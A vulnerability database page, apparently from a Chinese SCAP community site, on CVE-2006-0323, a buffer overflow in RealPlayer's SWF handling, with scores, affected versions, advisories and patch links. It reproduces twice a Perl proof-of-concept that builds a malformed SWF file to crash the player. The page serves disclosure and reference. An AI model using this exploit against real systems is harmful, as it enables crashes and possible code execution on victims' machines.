CVE-2006-0323
CVSS9.3
发布时间 :2006-03-23 18:06:00
修订时间 :2016-05-18 14:20:09
NMCOEPS    

[原文]Buffer overflow in swfformat.dll in multiple RealNetworks products and versions including RealPlayer 10.x, RealOne Player, Rhapsody 3, and Helix Player allows remote attackers to execute arbitrary code via a crafted SWF (Flash) file with (1) a size value that is less than the actual size, or (2) other unspecified manipulations.


[CNNVD]RealNetworks产品多个缓冲区溢出漏洞(CNNVD-200603-389)

        RealNetworks提供各种媒体播放器,支持多种格式。
        各种RealNetworks产品中存在多个溢出漏洞,允许攻击者入侵用户系统。
        1) 处理SWF文件时的溢出漏洞允许在用户系统上执行任意代码;
        2) 处理Web页面时存在堆溢出漏洞,允许在用户系统上执行任意代码;
        3) 处理MBC文件时的溢出漏洞允许在用户系统上执行任意代码。
        此外,在使用"CreateProcess()" API时的漏洞允许执行任意程序。

- CVSS (基础分值)

CVSS分值: 9.3 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/a:realnetworks:rhapsody:3
cpe:/a:realnetworks:realone_player
cpe:/a:realnetworks:helix_player
cpe:/a:realnetworks:realplayer:10.0.6
cpe:/a:realnetworks:realplayer:10.5RealNetworks RealPlayer 10.5
cpe:/a:realnetworks:realplayer:10.0:gold

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0323
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-389
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/231028
(VENDOR_ADVISORY)  CERT-VN  VU#231028
http://www.service.real.com/realplayer/security/03162006_player/en/
(PATCH)  CONFIRM  http://www.service.real.com/realplayer/security/03162006_player/en/
http://www.redhat.com/support/errata/RHSA-2006-0257.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2006:0257
http://www.novell.com/linux/security/advisories/2006_18_realplayer.html
(VENDOR_ADVISORY)  SUSE  SUSE-SA:2006:018
http://www.gentoo.org/security/en/glsa/glsa-200603-24.xml
(VENDOR_ADVISORY)  GENTOO  GLSA-200603-24
http://xforce.iss.net/xforce/xfdb/25408
(UNKNOWN)  XF  realnetworks-swf-bo(25408)
http://www.vupen.com/english/advisories/2006/1057
(UNKNOWN)  VUPEN  ADV-2006-1057
http://www.securityfocus.com/bid/17202
(UNKNOWN)  BID  17202
http://www.securityfocus.com/archive/1/archive/1/430621/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060411 Realplayer .SWF Multiple Remote Memory Corruption Vulnerabilities
http://securitytracker.com/id?1015806
(UNKNOWN)  SECTRACK  1015806
http://securityreason.com/securityalert/690
(UNKNOWN)  SREASON  690

- 漏洞信息

RealNetworks产品多个缓冲区溢出漏洞
高危 缓冲区溢出
2006-03-23 00:00:00 2006-04-26 00:00:00
远程  
        RealNetworks提供各种媒体播放器,支持多种格式。
        各种RealNetworks产品中存在多个溢出漏洞,允许攻击者入侵用户系统。
        1) 处理SWF文件时的溢出漏洞允许在用户系统上执行任意代码;
        2) 处理Web页面时存在堆溢出漏洞,允许在用户系统上执行任意代码;
        3) 处理MBC文件时的溢出漏洞允许在用户系统上执行任意代码。
        此外,在使用"CreateProcess()" API时的漏洞允许执行任意程序。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        http://service.real.com/realplayer/security/03162006_player/zh-cn

- 漏洞信息 (1622)

RealPlayer <= 10.5 (6.0.12.1040-1348) SWF Buffer Overflow PoC (EDBID:1622)
multiple dos
2006-03-28 Verified
0 Federico L. Bossi Bonin
N/A [点击下载]
#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin 
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";

my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
	      "\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".
	      "\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".
              "\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".
	      "\x00\x00\x00";


open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;

for ($i = 0; $i < 135; $i++) {
$buffer.= "\x90";
}

print EGG $buffer;
print EGG $endheader;
close(EGG);

# milw0rm.com [2006-03-28]
		

- 漏洞信息 (F45093)

realplayer-swf-PoC.pl.txt (PacketStormID:F45093)
2006-04-01 00:00:00
Federico L. Bossi Bonin  
exploit,overflow,proof of concept
CVE-2006-0323
[点击下载]

RealPlayer versions 10.5 and below SWF buffer overflow proof of concept exploit.

#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin 
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";

my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
	      "\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".
	      "\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".
              "\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".
	      "\x00\x00\x00";


open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;

for ($i = 0; $i < 135; $i++) {
$buffer.= "\x90";
}

print EGG $buffer;
print EGG $endheader;
close(EGG);
    

- 漏洞信息

24061
RealNetworks Multiple Products SWF Processing Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-03-22 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, RealNetworks has released a patch to address this vulnerability. Consult the product matrix for further details.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

RealNetworks Multiple Products Multiple Buffer Overflow Vulnerabilities
Boundary Condition Error 17202
Yes No
2006-03-23 12:00:00 2007-01-02 06:21:00
John Heasman of NGS Software, Greg MacManus with iDEFENSE Labs, and Sowhat are credited with the discovery of these issues.

- 受影响的程序版本

Turbolinux Turbolinux FUJI
S.u.S.E. Novell Linux Desktop 9.0
S.u.S.E. Linux Professional 10.0 OSS
S.u.S.E. Linux Professional 9.3 x86_64
S.u.S.E. Linux Professional 9.3
S.u.S.E. Linux Professional 9.2 x86_64
S.u.S.E. Linux Professional 9.2
S.u.S.E. Linux Personal 10.0 OSS
S.u.S.E. Linux Personal 9.3 x86_64
S.u.S.E. Linux Personal 9.3
S.u.S.E. Linux Personal 9.2 x86_64
S.u.S.E. Linux Personal 9.2
Real Networks Rhapsody 3.0 build 1.0.269
Real Networks Rhapsody 3.0 build 0.815
Real Networks RealPlayer Enterprise
Real Networks RealPlayer 10 for Mac OS 10.0 .0.331
Real Networks RealPlayer 10 for Mac OS 10.0 .0.331
Real Networks RealPlayer 10 for Mac OS 10.0.0.305
Real Networks RealPlayer 10 for Mac OS
Real Networks RealPlayer 10 for Linux 10.0.6
Real Networks RealPlayer 10 for Linux 10.0.5
Real Networks RealPlayer 10 for Linux 10.0.4
Real Networks RealPlayer 10 for Linux 10.0.3
Real Networks RealPlayer 10 for Linux 10.0.2
Real Networks RealPlayer 10 for Linux 10.0.1
Real Networks RealPlayer 10 for Linux
Real Networks RealPlayer 10.5 v6.0.12.1348
Real Networks RealPlayer 10.5 v6.0.12.1235
Real Networks RealPlayer 10.5 v6.0.12.1069
Real Networks RealPlayer 10.5 v6.0.12.1059
Real Networks RealPlayer 10.5 v6.0.12.1056
Real Networks RealPlayer 10.5 v6.0.12.1053
Real Networks RealPlayer 10.5 v6.0.12.1040
Real Networks RealPlayer 10.0
+ S.u.S.E. cvsup-16.1h-43.i586.rpm
+ S.u.S.E. Linux Personal 9.3
+ S.u.S.E. Linux Personal 9.2
Real Networks RealPlayer 8.0 Win32
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 98 SP1
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows XP Home
- Microsoft Windows XP Professional
Real Networks RealOne Player for OSX 9.0 .297
Real Networks RealOne Player for OSX 9.0 .288
Real Networks RealOne Player for Mac 0
Real Networks RealOne Player 2.0
Real Networks RealOne Player 1.0
Real Networks Helix Player for Linux 10.0.6
Real Networks Helix Player for Linux 10.0.5
Real Networks Helix Player for Linux 10.0.4
Real Networks Helix Player for Linux 10.0.3
Real Networks Helix Player for Linux 10.0.2
Real Networks Helix Player for Linux 10.0.1
Real Networks Helix Player for Linux 10.0
Gentoo Linux
Real Networks Rhapsody 3.0 build 1.0.270
Real Networks Rhapsody 2.0
Real Networks RealPlayer 10 for Mac OS 10.0.0.325
Real Networks RealPlayer 10 for Linux 10.0.7
Real Networks RealPlayer 10.5 v6.0.12.1483
Real Networks Helix Player for Linux 10.0.7

- 不受影响的程序版本

Real Networks Rhapsody 3.0 build 1.0.270
Real Networks Rhapsody 2.0
Real Networks RealPlayer 10 for Mac OS 10.0.0.325
Real Networks RealPlayer 10 for Linux 10.0.7
Real Networks RealPlayer 10.5 v6.0.12.1483
Real Networks Helix Player for Linux 10.0.7

- 漏洞讨论

Various RealNetworks products are prone to multiple buffer-overflow vulnerabilities.

These issues can result in memory corruption and facilitate arbitrary code execution. A successful attack can allow remote attackers to execute arbitrary code in the context of the application to gain unauthorized access.

- 漏洞利用

A proof-of-concept denial-of-service exploit by Federico L. Bossi Bonin is available.

- 解决方案

The vendor has released fixes to address these issues.

Please see the references for more information and fixes.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站